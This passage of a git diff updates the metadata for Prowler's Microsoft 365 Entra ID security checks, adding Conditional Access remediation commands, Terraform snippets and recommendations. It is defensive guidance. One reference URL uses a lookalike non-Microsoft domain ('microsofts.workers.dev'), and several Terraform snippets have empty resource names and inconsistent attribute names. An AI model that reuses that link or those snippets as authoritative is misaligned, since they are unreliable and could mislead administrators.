consistent **Conditional Access** and least-privilege controls. This threatens **confidentiality** via excess data access, weakens **integrity** through unauthorized changes, and leaves stale external accounts that enable lateral movement.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/entra/identity/users/groups-create-rule" + ], "Remediation": { "Code": { "CLI": "New-MgGroup -DisplayName 'Dynamic Guest Users' -MailNickname 'DynGuestUsers' -MailEnabled $false -SecurityEnabled $true -GroupTypes 'DynamicMembership' -MembershipRule '(user.userType -eq \"Guest\")' -MembershipRuleProcessingState 'On'", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Entra admin center https://entra.microsoft.com/. 2. Click to expand Identity > Groups and select All groups. 3. Select 'New group' and configure: Group type: Security, Membership type: Dynamic User. 4. Add dynamic query with rule: (user.userType -eq 'Guest'). 5. Click Save.", - "Terraform": "" + "Other": "1. Sign in to Microsoft Entra admin center (https://entra.microsoft.com/)\n2. Go to Identity > Groups > All groups > New group\n3. Set Group type: Security; Membership type: Dynamic User\n4. Click Add dynamic query and set the rule: user.userType -eq \"Guest\"; click Save\n5. Click Create", + "Terraform": "```hcl\nresource \"azuread_group\" \"example\" {\n display_name = \"\"\n security_enabled = true\n\n dynamic_membership {\n enabled = true # critical: enables dynamic membership\n rule = \"user.userType -eq \\\"Guest\\\"\" # critical: includes only guest users\n }\n}\n```" }, "Recommendation": { - "Text": "Create a dynamic group for guest users to automate policy enforcement and access control.", - "Url": "https://learn.microsoft.com/en-us/entra/identity/users/groups-create-rule" + "Text": "Establish a **dynamic group** limited to users with `userType -eq \"Guest\"` and use it to scope **Conditional Access**, least-privilege roles, and access reviews.\n\nSegment guests by risk into separate groups, enforce lifecycle policies, and regularly audit membership and policy coverage.", + "Url": "https://hub.prowler.com/check/entra_dynamic_group_for_guests_created" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/entra/entra_emergency_access_exclusion/entra_emergency_access_exclusion.metadata.json b/prowler/providers/m365/services/entra/entra_emergency_access_exclusion/entra_emergency_access_exclusion.metadata.json index 83c25cf6dc..cd7efd39e3 100644 --- a/prowler/providers/m365/services/entra/entra_emergency_access_exclusion/entra_emergency_access_exclusion.metadata.json +++ b/prowler/providers/m365/services/entra/entra_emergency_access_exclusion/entra_emergency_access_exclusion.metadata.json @@ -7,9 +7,9 @@ "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Conditional Access Policy", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "This check verifies that at least one **emergency access** (break glass) account or group is excluded from all **Conditional Access policies**. Emergency access accounts provide a fallback mechanism when normal administrative access is blocked due to misconfigured policies.", + "Description": "Microsoft Entra **Conditional Access** is verified to have at least one **emergency access** (break glass) account or group excluded from all policies. Emergency access accounts provide a fallback mechanism when normal administrative access is blocked due to misconfigured policies.", "Risk": "Without emergency access accounts excluded from Conditional Access policies, a misconfiguration could lock out all administrators from the tenant. This creates a **critical availability risk** where legitimate administrators cannot access or remediate issues in the environment.", "RelatedUrl": "", "AdditionalURLs": [ diff --git a/prowler/providers/m365/services/entra/entra_identity_protection_sign_in_risk_enabled/entra_identity_protection_sign_in_risk_enabled.metadata.json b/prowler/providers/m365/services/entra/entra_identity_protection_sign_in_risk_enabled/entra_identity_protection_sign_in_risk_enabled.metadata.json index b9b1045841..2aa589f9c6 100644 --- a/prowler/providers/m365/services/entra/entra_identity_protection_sign_in_risk_enabled/entra_identity_protection_sign_in_risk_enabled.metadata.json +++ b/prowler/providers/m365/services/entra/entra_identity_protection_sign_in_risk_enabled/entra_identity_protection_sign_in_risk_enabled.metadata.json @@ -1,30 +1,36 @@ { "Provider": "m365", "CheckID": "entra_identity_protection_sign_in_risk_enabled", - "CheckTitle": "Ensure that Identity Protection sign-in risk policies are enabled", + "CheckTitle": "At least one Conditional Access Identity Protection sign-in risk policy protects against high and medium risk sign-ins", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", - "Severity": "medium", - "ResourceType": "Conditional Access Policy", + "Severity": "high", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "Ensure that Identity Protection sign-in risk policies are enabled to detect and respond to suspicious high and medium risk login attempts in real time.", - "Risk": "Without Identity Protection sign-in risk policies enabled, suspicious sign-in attempts may go unnoticed, allowing attackers to access accounts using stolen or compromised credentials. This increases the risk of unauthorized access, data breaches, and privilege escalation.", - "RelatedUrl": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview", + "Description": "Microsoft Entra **Conditional Access** has a sign-in risk-based Identity Protection policy that targets `All users` and `All cloud apps`, evaluates `Medium` and `High` sign-in risk, requires **MFA**, sets `sign-in frequency: every time`, and is actively enforced *not report-only*.", + "Risk": "Without this policy, risky authentications using stolen or replayed credentials may proceed without step-up verification, enabling account takeover. Attackers can establish persistent sessions, exfiltrate data, change configurations, and move laterally-eroding confidentiality and integrity and potentially impacting availability through privilege abuse.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview", + "https://azure.microsofts.workers.dev/en-us/entra/identity/authentication/tutorial-risk-based-sspr-mfa", + "https://learn.microsoft.com/en-us/entra/id-protection/howto-identity-protection-configure-risk-policies" + ], "Remediation": { "Code": { - "CLI": "", + "CLI": "New-MgIdentityConditionalAccessPolicy -BodyParameter @{displayName='';state='enabled';conditions=@{users=@{includeUsers=@('All')};applications=@{includeApplications=@('All')};signInRiskLevels=@('medium','high')};grantControls=@{operator='OR';builtInControls=@('mfa')};sessionControls=@{signInFrequency=@{isEnabled=$true;frequencyInterval='everyTime'}}}", "NativeIaC": "", - "Other": "1. Navigate to the Microsoft Entra admin center https://entra.microsoft.com. 2. Click expand Protection > Conditional Access select Policies. 3. Create a new policy by selecting New policy. 4. Set the following conditions within the policy. Under Users or workload identities choose All users. Under Cloud apps or actions choose All cloud apps. Under Conditions choose Sign-in risk then Yes and check the risk level boxes High and Medium. Under Access Controls select Grant then in the right pane click Grant access then select Require multifactor authentication. Under Session select Sign-in Frequency and set to Every time. Click Select. 5. Under Enable policy set it to Report Only until the organization is ready to enable it. 6. Click Create.", - "Terraform": "" + "Other": "1. Sign in to Microsoft Entra admin center (entra.microsoft.com)\n2. Go to Entra ID > Protection > Conditional Access > Policies > New policy\n3. Users: select All users\n4. Target resources: select All resources (All cloud apps)\n5. Conditions > Sign-in risk: set to Yes, select Medium and High\n6. Grant > Grant access: select Require multifactor authentication\n7. Session > Sign-in frequency: set to Every time\n8. Enable policy: On\n9. Create the policy", + "Terraform": "```hcl\nresource \"azuread_conditional_access_policy\" \"\" {\n display_name = \"\"\n state = \"enabled\" # Critical: enforce policy\n\n conditions {\n users {\n include_users = [\"All\"] # Critical: apply to all users\n }\n applications {\n include_applications = [\"All\"] # Critical: apply to all apps\n }\n sign_in_risk_levels = [\"medium\", \"high\"] # Critical: protect Medium and High sign-in risks\n client_app_types = [\"all\"]\n }\n\n grant_controls {\n operator = \"OR\"\n built_in_controls = [\"mfa\"] # Critical: require MFA\n }\n\n session_controls {\n sign_in_frequency_interval = \"everyTime\" # Critical: require reauth every time\n }\n}\n```" }, "Recommendation": { - "Text": "Enable Identity Protection sign-in risk policies to detect and respond to suspicious login attempts in real time. Configure Conditional Access to require MFA for risky sign-ins and ensure all users are enrolled in MFA to prevent account lockouts. Regularly review sign-in risk reports to identify and mitigate potential security threats.", - "Url": "https://learn.microsoft.com/en-us/entra/id-protection/howto-identity-protection-configure-risk-policies" + "Text": "Adopt a **risk-based Conditional Access** policy for sign-in risk that applies broadly and enforces **MFA** with `every-time` reauthentication for `Medium` and `High` risk. Align with **Zero Trust** and **least privilege**: ensure MFA enrollment, exclude emergency accounts, validate in report-only, then enforce and regularly review risky sign-in reports.", + "Url": "https://hub.prowler.com/check/entra_identity_protection_sign_in_risk_enabled" } }, "Categories": [ + "identity-access", "e5" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/entra/entra_identity_protection_user_risk_enabled/entra_identity_protection_user_risk_enabled.metadata.json b/prowler/providers/m365/services/entra/entra_identity_protection_user_risk_enabled/entra_identity_protection_user_risk_enabled.metadata.json index 736a2d7240..71aceb3c2e 100644 --- a/prowler/providers/m365/services/entra/entra_identity_protection_user_risk_enabled/entra_identity_protection_user_risk_enabled.metadata.json +++ b/prowler/providers/m365/services/entra/entra_identity_protection_user_risk_enabled/entra_identity_protection_user_risk_enabled.metadata.json @@ -1,30 +1,36 @@ { "Provider": "m365", "CheckID": "entra_identity_protection_user_risk_enabled", - "CheckTitle": "Ensure that Identity Protection user risk policies are enabled", + "CheckTitle": "At least one Conditional Access policy enforces Identity Protection user risk for high-risk users", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", - "Severity": "medium", - "ResourceType": "Conditional Access Policy", + "Severity": "high", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "Ensure that Identity Protection user risk policies are enabled to detect and respond to high risk potential account compromises.", - "Risk": "Without Identity Protection user risk policies enabled, compromised accounts may go undetected, allowing attackers to exploit breached credentials and gain unauthorized access. The absence of automated responses to user risk levels increases the likelihood of security incidents, such as data breaches or privilege escalation.", - "RelatedUrl": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview", + "Description": "Microsoft Entra **Conditional Access** has a **user risk-based policy** that targets `All` users and `All` applications, evaluates `High` user risk, and actively enforces controls requiring both **multifactor authentication** and a **secure password change** with an `AND` condition.", + "Risk": "Without an active `High` user-risk policy that forces **MFA** and secure password reset, compromised identities can persist, enabling data exfiltration, tampering, and privilege escalation. Report-only mode or narrow scope leaves gaps, undermining confidentiality and integrity across resources.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-risk-based-sspr-mfa?WT.mc_id=M365-MVP-6771", + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview", + "https://learn.microsoft.com/en-us/entra/id-protection/howto-identity-protection-configure-risk-policies" + ], "Remediation": { "Code": { "CLI": "", "NativeIaC": "", - "Other": "1. Navigate to the Microsoft Entra admin center https://entra.microsoft.com. 2. Click expand Protection > Conditional Access select Policies. 3. Create a new policy by selecting New policy. 4. Set the following conditions within the policy: Under Users or workload identities choose All users. Under Cloud apps or actions choose All cloud apps. Under Conditions choose User risk then Yes and select the user risk level High. Under Access Controls select Grant then in the right pane click Grant access then select Require multifactor authentication and Require password change. Under Session ensure Sign-in frequency is set to Every time. Click Select. 5. Under Enable policy set it to Report Only until the organization is ready to enable it. 6. Click Create.", - "Terraform": "" + "Other": "1. Sign in to the Microsoft Entra admin center and go to Protection > Conditional Access > Policies\n2. Click New policy\n3. Users or workload identities: select All users\n4. Target resources (Cloud apps): select All cloud apps\n5. Conditions > User risk: set Configure to Yes and select High\n6. Access controls > Grant: select Grant access, then check Require multifactor authentication and Require password change; set Require all selected controls\n7. Enable policy: On, then click Create", + "Terraform": "```hcl\nresource \"azuread_conditional_access_policy\" \"\" {\n display_name = \"\"\n state = \"enabled\"\n\n conditions {\n client_app_types = [\"all\"]\n users {\n include_users = [\"All\"] # Critical: targets all users\n }\n applications {\n included_applications = [\"All\"] # Critical: applies to all cloud apps\n }\n user_risk_levels = [\"high\"] # Critical: enforces on high user risk\n }\n\n grant_controls {\n operator = \"AND\" # Critical: require all selected controls\n built_in_controls = [\"mfa\", \"passwordChange\"] # Critical: require MFA and password change\n }\n}\n```" }, "Recommendation": { - "Text": "Enable Identity Protection user risk policies to detect and respond to potential account compromises. Configure Conditional Access policies to enforce MFA or password resets when a high user risk level is detected. Regularly review the Risky Users section to assess potential threats before enforcing strict access controls.", - "Url": "https://learn.microsoft.com/en-us/entra/id-protection/howto-identity-protection-configure-risk-policies" + "Text": "Adopt **least privilege** by enabling an active user-risk policy that:\n- covers `All` users and apps (exclude only break-glass)\n- triggers on `High` user risk\n- requires **MFA** and a **secure password change** together\n- reauthenticates risky sessions\n\nPair with sign-in risk policies, ensure MFA registration, and review risky-user reports to validate effectiveness.", + "Url": "https://hub.prowler.com/check/entra_identity_protection_user_risk_enabled" } }, "Categories": [ + "identity-access", "e5" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/entra/entra_intune_enrollment_sign_in_frequency_every_time/entra_intune_enrollment_sign_in_frequency_every_time.metadata.json b/prowler/providers/m365/services/entra/entra_intune_enrollment_sign_in_frequency_every_time/entra_intune_enrollment_sign_in_frequency_every_time.metadata.json index 300f48a642..b54a720615 100644 --- a/prowler/providers/m365/services/entra/entra_intune_enrollment_sign_in_frequency_every_time/entra_intune_enrollment_sign_in_frequency_every_time.metadata.json +++ b/prowler/providers/m365/services/entra/entra_intune_enrollment_sign_in_frequency_every_time/entra_intune_enrollment_sign_in_frequency_every_time.metadata.json @@ -1,32 +1,36 @@ { "Provider": "m365", "CheckID": "entra_intune_enrollment_sign_in_frequency_every_time", - "CheckTitle": "Ensure sign-in frequency for Intune Enrollment is set to every time", + "CheckTitle": "Conditional Access enforces Every Time sign-in frequency for Intune Enrollment", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Conditional Access Policy", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "Ensure that Conditional Access policies enforce sign-in frequency to Every time for Microsoft Intune Enrollment Application.", - "Risk": "If not enforced, attackers with compromised credentials may enroll a new device into Intune and gain persistent and elevated access through a bypass of compliance-based Conditional Access rules.", - "RelatedUrl": "https://learn.microsoft.com/en-us/intune/intune-service/fundamentals/deployment-guide-enrollment", + "Description": "Microsoft Entra **Conditional Access** for **Microsoft Intune Enrollment** enforces the session control **sign-in frequency** set to `Every time` for all users.\n\nThis evaluates whether an active policy targets the Intune Enrollment app and requires reauthentication on each enrollment attempt.", + "Risk": "Absent `Every time` reauth at enrollment, attackers with stolen or replayed credentials can enroll rogue devices and obtain compliant access.\n\nImpacts:\n- Confidentiality: data exposure from unauthorized devices\n- Integrity: untrusted endpoints modifying resources\n- Availability: persistence via device-based access paths", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/intune/intune-service/fundamentals/deployment-guide-enrollment", + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-conditional-access-session#sign-in-frequency" + ], "Remediation": { "Code": { - "CLI": "", + "CLI": "az rest --method POST --url https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies --headers 'Content-Type=application/json' --body '{\"displayName\":\"Intune Enrollment - Every time\",\"state\":\"enabled\",\"conditions\":{\"users\":{\"includeUsers\":[\"All\"]},\"applications\":{\"includeApplications\":[\"d4ebce55-015a-49b5-a083-c84d1797ae8c\"]}},\"sessionControls\":{\"signInFrequency\":{\"isEnabled\":true,\"type\":\"everyTime\"}}}'", "NativeIaC": "", - "Other": "1. Navigate to the Microsoft Entra admin center https://entra.microsoft.com. 2. Click expand Protection > Conditional Access select Policies. 3. Create a new policy by selecting New policy. o Under Users include All users. o Under Target resources select Resources (formerly cloud apps), choose Select resources and add Microsoft Intune Enrollment to the list. o Under Grant select Grant access. o Check either Require multifactor authentication or Require authentication strength. o Under Session check Sign-in frequency and select Every time. 4. Under Enable policy set it to Report-only until the organization is ready to enable it. 5. Click Create", - "Terraform": "" + "Other": "1. Sign in to Microsoft Entra admin center (entra.microsoft.com)\n2. Go to Protection > Conditional Access > Policies > New policy\n3. Users > Include: select All users\n4. Target resources (Resources/Cloud apps) > Select resources: choose Microsoft Intune Enrollment\n5. Session > Sign-in frequency: select Every time\n6. Enable policy: On\n7. Create the policy", + "Terraform": "```hcl\nresource \"azuread_conditional_access_policy\" \"\" {\n display_name = \"\"\n state = \"enabled\"\n\n conditions {\n users {\n include_users = [\"All\"] # critical: include all users\n }\n applications {\n include_applications = [\"d4ebce55-015a-49b5-a083-c84d1797ae8c\"] # critical: target Microsoft Intune Enrollment app\n }\n }\n\n session_controls {\n sign_in_frequency {\n is_enabled = true # critical: enable sign-in frequency control\n type = \"everyTime\" # critical: require reauthentication every time\n }\n }\n}\n```" }, "Recommendation": { - "Text": "Configure a Conditional Access policy that targets Microsoft Intune Enrollment and enforces sign-in frequency to 'Every time'. This ensures that users must reauthenticate for each Intune enrollment action, reducing the risk of unauthorized device enrollment using compromised credentials. Note: Microsoft accounts for a five-minute clock skew when 'every time' is selected, ensuring users are not prompted more frequently than once every five minutes.", - "Url": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-conditional-access-session#sign-in-frequency" + "Text": "Implement a **Conditional Access** policy on the **Intune Enrollment** app that sets sign-in frequency to `Every time` and applies broadly.\n\nCombine with **MFA** and device **compliance** requirements, use **least privilege** exclusions sparingly, and monitor sign-in/audit logs to strengthen **defense in depth**.", + "Url": "https://hub.prowler.com/check/entra_intune_enrollment_sign_in_frequency_every_time" } }, "Categories": [ - "e3", - "e5" + "identity-access", + "e3" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/m365/services/entra/entra_legacy_authentication_blocked/entra_legacy_authentication_blocked.metadata.json b/prowler/providers/m365/services/entra/entra_legacy_authentication_blocked/entra_legacy_authentication_blocked.metadata.json index aee31bc8cd..7b172d5b5f 100644 --- a/prowler/providers/m365/services/entra/entra_legacy_authentication_blocked/entra_legacy_authentication_blocked.metadata.json +++ b/prowler/providers/m365/services/entra/entra_legacy_authentication_blocked/entra_legacy_authentication_blocked.metadata.json @@ -1,30 +1,34 @@ { "Provider": "m365", "CheckID": "entra_legacy_authentication_blocked", - "CheckTitle": "Ensure that Conditional Access policy blocks legacy authentication", + "CheckTitle": "At least one Conditional Access policy blocks legacy authentication", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "critical", - "ResourceType": "Conditional Access Policy", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "Ensure that Conditional Access policy blocks legacy authentication in Microsoft Entra ID to enforce modern authentication methods and protect against credential-stuffing and brute-force attacks.", - "Risk": "Legacy authentication protocols do not support MFA, making them vulnerable to credential-stuffing and brute-force attacks. Attackers commonly exploit these protocols to bypass security controls and gain unauthorized access.", - "RelatedUrl": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-legacy-authentication", + "Description": "Microsoft Entra **Conditional Access** has an active policy that blocks **legacy authentication** for `All users` and `All cloud apps` by targeting legacy client app types (e.g., Exchange ActiveSync, other basic-auth clients) and enforcing `Block` access.", + "Risk": "Allowing legacy authentication enables password spray and credential stuffing that bypass **MFA**, leading to account takeover. Compromised sessions threaten **confidentiality** (mail, files), **integrity** (settings, data changes), and **availability**, and enable **lateral movement** across Microsoft 365.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-legacy-authentication" + ], "Remediation": { "Code": { - "CLI": "", + "CLI": "az rest --method post --url https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies --body '{\"displayName\":\"\",\"state\":\"enabled\",\"conditions\":{\"users\":{\"includeUsers\":[\"All\"]},\"applications\":{\"includeApplications\":[\"All\"]},\"clientAppTypes\":[\"exchangeActiveSync\",\"other\"]},\"grantControls\":{\"builtInControls\":[\"block\"],\"operator\":\"OR\"}}'", "NativeIaC": "", - "Other": "1. Navigate to the Microsoft Entra admin center https://entra.microsoft.com. 2. Click expand Protection > Conditional Access select Policies. 3. Create a new policy by selecting New policy. Under Users include All users. Under Target resources include All cloud apps and do not create any exclusions. Under Conditions select Client apps and check the boxes for Exchange ActiveSync clients and Other clients. Under Grant select Block Access. Click Select. 4. Set the policy On and click Create.", - "Terraform": "" + "Other": "1. Go to Microsoft Entra admin center > Protection > Conditional Access > Policies\n2. Click New policy\n3. Users: Include > All users\n4. Target resources (cloud apps): Include > All apps\n5. Conditions > Client apps: Configure = Yes; select only Exchange ActiveSync clients and Other clients\n6. Grant > Block access > Select\n7. Enable policy: On, then Create", + "Terraform": "```hcl\nresource \"azuread_conditional_access_policy\" \"\" {\n display_name = \"\"\n state = \"enabled\" # critical: enforce the policy\n\n conditions {\n users {\n include_users = [\"All\"] # critical: include all users\n }\n applications {\n include_applications = [\"All\"] # critical: include all cloud apps\n }\n client_app_types = [\"exchangeActiveSync\", \"other\"] # critical: target legacy auth clients\n }\n\n grant_controls {\n built_in_controls = [\"block\"] # critical: block access\n }\n}\n```" }, "Recommendation": { - "Text": "Enforce Conditional Access policies to block legacy authentication across all users in Microsoft Entra ID. Ensure all applications and devices use modern authentication methods such as OAuth 2.0. For necessary exceptions (e.g., multifunction printers), configure secure alternatives following Microsoft's mail flow best practices.", - "Url": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-legacy-authentication" + "Text": "Enforce a tenant-wide policy to **block legacy authentication** for `All users` and `All cloud apps`, targeting legacy client app types. Migrate apps and devices to **modern authentication**. Keep minimal, monitored exclusions for break-glass/service accounts, prefer **managed identities**, and apply **zero trust** and **least privilege**.", + "Url": "https://hub.prowler.com/check/entra_legacy_authentication_blocked" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/entra/entra_managed_device_required_for_authentication/entra_managed_device_required_for_authentication.metadata.json b/prowler/providers/m365/services/entra/entra_managed_device_required_for_authentication/entra_managed_device_required_for_authentication.metadata.json index e2afd026e6..1e695e0d8d 100644 --- a/prowler/providers/m365/services/entra/entra_managed_device_required_for_authentication/entra_managed_device_required_for_authentication.metadata.json +++ b/prowler/providers/m365/services/entra/entra_managed_device_required_for_authentication/entra_managed_device_required_for_authentication.metadata.json @@ -1,30 +1,35 @@ { "Provider": "m365", "CheckID": "entra_managed_device_required_for_authentication", - "CheckTitle": "Ensure that only managed devices are required for authentication", + "CheckTitle": "Conditional Access policies require authentication from a managed device for all users and applications", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", - "Severity": "critical", - "ResourceType": "Conditional Access Policy", + "Severity": "high", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "Ensure that only managed devices are required for authentication to reduce the risk of unauthorized access from unsecured or unmanaged devices.", - "Risk": "Allowing authentication from unmanaged devices increases the attack surface, as these devices may lack security controls, endpoint detection, and compliance policies. Attackers could leverage compromised credentials from unsecured devices to gain unauthorized access to corporate resources.", - "RelatedUrl": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview", + "Description": "Microsoft Entra **Conditional Access** evaluates whether an enabled policy targeting `all users` and `all applications` includes grant controls that require a **managed device** (hybrid domain-joined) with **multifactor authentication** during sign-in.", + "Risk": "Sign-ins from **unmanaged devices** erode confidentiality and integrity: compromised hosts can steal tokens, hijack sessions, and exfiltrate data. With leaked credentials, attackers bypass endpoint controls, gain persistent access, and move laterally to alter resources.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview", + "https://learn.microsoft.com/en-us/mem/intune/protect/create-conditional-access-intune" + ], "Remediation": { "Code": { - "CLI": "", + "CLI": "New-MgIdentityConditionalAccessPolicy -DisplayName \"\" -State \"enabled\" -Conditions @{ Users=@{ IncludeUsers=@(\"All\") }; Applications=@{ IncludeApplications=@(\"All\") } } -GrantControls @{ Operator=\"OR\"; BuiltInControls=@(\"mfa\",\"domainJoinedDevice\") }", "NativeIaC": "", - "Other": "1. Navigate to the Microsoft Entra admin center https://entra.microsoft.com. 2. Click expand Protection > Conditional Access select Policies. 3. Create a new policy by selecting New policy. Under Users include All users. Under Target resources include All cloud apps. Under Grant select Grant access. Check Require multifactor authentication and Require Microsoft Entra hybrid joined device. Choose Require one of the selected controls and click Select at the bottom. 4. Under Enable policy set it to Report Only until the organization is ready to enable it. 5. Click Create.", - "Terraform": "" + "Other": "1. In Microsoft Entra admin center, go to Entra ID > Security > Conditional Access > Policies\n2. Select New policy\n3. Users: Include > All users\n4. Target resources: Include > All cloud apps\n5. Grant: Select Grant access, check Require multifactor authentication and Require Microsoft Entra hybrid joined device, then choose Require one of the selected controls\n6. Enable policy: On\n7. Create to save", + "Terraform": "```hcl\nresource \"azuread_conditional_access_policy\" \"example\" {\n display_name = \"\"\n state = \"enabled\" # Critical: must be enabled (not report-only) to enforce\n\n conditions {\n users {\n include_users = [\"All\"] # Critical: target all users\n }\n applications {\n include_applications = [\"All\"] # Critical: target all cloud apps\n }\n }\n\n grant_controls {\n operator = \"OR\" # Critical: require one of the selected controls\n built_in_controls = [\"mfa\", \"domainJoinedDevice\"] # Critical: MFA or Microsoft Entra hybrid joined device\n }\n}\n```" }, "Recommendation": { - "Text": "Enforce Conditional Access policies requiring authentication only from managed devices. Configure policies to allow access only from Entra hybrid joined or Intune-compliant devices. This ensures that only secure, policy-enforced endpoints can access corporate resources, reducing the risk of credential theft and unauthorized access.", - "Url": "https://learn.microsoft.com/en-us/mem/intune/protect/create-conditional-access-intune" + "Text": "Enforce **Conditional Access** to allow only **managed devices** (Entra hybrid joined or Intune-compliant) and require **MFA**, aligning with **Zero Trust** and **least privilege**. Apply to all users and apps, limit exclusions to break-glass accounts, and regularly review device compliance to prevent access from unknown endpoints.", + "Url": "https://hub.prowler.com/check/entra_managed_device_required_for_authentication" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/entra/entra_managed_device_required_for_mfa_registration/entra_managed_device_required_for_mfa_registration.metadata.json b/prowler/providers/m365/services/entra/entra_managed_device_required_for_mfa_registration/entra_managed_device_required_for_mfa_registration.metadata.json index 867cf81eff..ffd60c5166 100644 --- a/prowler/providers/m365/services/entra/entra_managed_device_required_for_mfa_registration/entra_managed_device_required_for_mfa_registration.metadata.json +++ b/prowler/providers/m365/services/entra/entra_managed_device_required_for_mfa_registration/entra_managed_device_required_for_mfa_registration.metadata.json @@ -1,30 +1,36 @@ { "Provider": "m365", "CheckID": "entra_managed_device_required_for_mfa_registration", - "CheckTitle": "Ensure that only managed devices are required for MFA registration", + "CheckTitle": "Tenant has a Conditional Access policy that requires a managed device for MFA registration for all users", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", - "Severity": "critical", - "ResourceType": "Conditional Access Policy", + "Severity": "high", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "Ensure that only managed devices are required for MFA registration. This ensures that users enroll MFA using secure, organization-controlled devices.", - "Risk": "If users are allowed to register MFA on unmanaged or potentially compromised devices, attackers with stolen credentials may register their own MFA methods, effectively locking out legitimate users and taking over accounts. This increases the risk of unauthorized access, data breaches, and privilege escalation.", - "RelatedUrl": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview", + "Description": "Microsoft Entra **Conditional Access** evaluates whether **MFA registration** is restricted to organization-managed devices. It looks for policies that target the security info registration action for all users and require a **managed (compliant or hybrid-joined) device** when registering authentication methods.", + "Risk": "Allowing **MFA enrollment** from unmanaged or compromised devices enables attackers with stolen passwords to add their own factors, causing **account takeover** and potential lockout of the legitimate user.\n\nThis jeopardizes **confidentiality** (data access), **integrity** (unauthorized changes), and **availability** (user access disruption).", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview", + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-all-users-device-registration", + "https://entra.microsoft.com." + ], "Remediation": { "Code": { - "CLI": "", + "CLI": "New-MgIdentityConditionalAccessPolicy -BodyParameter @{displayName=\"\";state=\"enabled\";conditions=@{users=@{includeUsers=@(\"All\")};applications=@{includeUserActions=@(\"urn:user:registersecurityinfo\")}};grantControls=@{operator=\"OR\";builtInControls=@(\"mfa\",\"domainJoinedDevice\")}}", "NativeIaC": "", - "Other": "1. Navigate to the Microsoft Entra admin center https://entra.microsoft.com. 2. Click expand Protection > Conditional Access select Policies. 3. Create a new policy by selecting New policy. Under Users include All users. Under Target resources select User actions and check Register security information. Under Grant select Grant access. Check Require multifactor authentication and Require Microsoft Entra hybrid joined device. Choose Require one of the selected controls and click Select at the bottom. 4. Under Enable policy set it to Report Only until the organization is ready to enable it. 5. Click Create.", - "Terraform": "" + "Other": "1. Go to Microsoft Entra admin center > Protection > Conditional Access > Policies\n2. Click New policy\n3. Users: Include > All users\n4. Target resources: User actions > check Register security information\n5. Grant: Grant access > check Require multifactor authentication and Require Microsoft Entra hybrid joined device > select Require one of the selected controls\n6. Enable policy: On\n7. Click Create", + "Terraform": "```hcl\nresource \"azuread_conditional_access_policy\" \"\" {\n display_name = \"\"\n state = \"enabled\" # Critical: policy must be enforced (not report-only)\n\n conditions {\n users {\n include_users = [\"All\"] # Critical: applies to all users\n }\n applications {\n include_user_actions = [\"urn:user:registersecurityinfo\"] # Critical: targets security info (MFA) registration\n }\n }\n\n grant_controls {\n operator = \"OR\" # Critical: required by the check logic\n built_in_controls = [\"mfa\", \"domainJoinedDevice\"] # Critical: require MFA or hybrid joined device\n }\n}\n```" }, "Recommendation": { - "Text": "Enforce MFA registration only from managed devices by requiring compliance through Intune or Entra hybrid join. This ensures that users enroll MFA using secure, organization-controlled devices.", - "Url": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-all-users-device-registration" + "Text": "Enforce **MFA registration** only from **managed devices** using Conditional Access. Apply the policy broadly, with minimal exclusions for break-glass accounts.\n\nAlign with **Zero Trust** and **least privilege** by requiring devices be compliant or hybrid-joined, monitoring enrollment activity, and regularly reviewing policies to prevent bypass and abuse.", + "Url": "https://hub.prowler.com/check/entra_managed_device_required_for_mfa_registration" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/entra/entra_password_hash_sync_enabled/entra_password_hash_sync_enabled.metadata.json b/prowler/providers/m365/services/entra/entra_password_hash_sync_enabled/entra_password_hash_sync_enabled.metadata.json index 